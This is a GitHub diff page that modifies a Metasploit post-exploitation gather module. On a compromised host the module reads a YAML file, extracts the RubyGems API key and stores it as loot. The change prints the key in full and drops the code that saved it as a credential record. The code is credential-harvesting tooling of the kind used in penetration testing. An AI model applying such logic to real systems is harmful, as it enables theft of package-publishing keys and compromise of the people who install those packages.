File tree Expand file tree Collapse file tree 1 file changed +10
-34
lines changed
modules/post/multi/gather Expand file tree Collapse file tree 1 file changed +10
-34
lines changed Original file line number Diff line number Diff line change @@ -46,44 +46,20 @@ def download_loot(paths)
46
46
47
47
if key = YAML . load ( read_file ( path ) ) [ :rubygems_api_key ]
48
48
rubygems_api_key = key
49
+ else
50
+ return
49
51
end
50
52
51
- print_good ( "Downloaded #{ path } " )
53
+ print_good ( "Found a RubyGems API Key: #{ rubygems_api_key } " )
52
54
53
- store_loot ( "host.rubygems.apikey" ,
54
- "text/plain" ,
55
- session ,
56
- rubygems_api_key ,
57
- "ruby_api_key.txt" ,
58
- "Ruby API Key" )
55
+ loot_path = store_loot ( "host.rubygems.apikey" ,
56
+ "text/plain" ,
57
+ session ,
58
+ rubygems_api_key ,
59
+ "ruby_api_key.txt" ,
60
+ "Ruby API Key" )
59
61
60
- service_data = {
61
- address : "rubygems.org" ,
62
- port : 443 ,
63
- service_name : 'rubygems' ,
64
- protocol : 'tcp' ,
65
- workspace_id : myworkspace_id
66
- }
67
-
68
- credential_data = {
69
- origin_type : :session ,
70
- session_id : session_db_id ,
71
- post_reference_name : self . refname ,
72
- private_type : :password ,
73
- private_data : rubygems_api_key ,
74
- workspace_id : myworkspace_id
75
- }
76
-
77
- credential_core = create_credential ( credential_data )
78
-
79
- login_data = {
80
- core : credential_core ,
81
- status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
82
- workspace_id : myworkspace_id
83
- }
84
-
85
- login_data . merge! ( service_data )
86
- create_credential_login ( login_data )
62
+ print_status ( "RubyGems API Key stored in: #{ loot_path . to_s } " )
87
63
end
88
64
end
89
65
end
You can’t perform that action at this time.
0 commit comments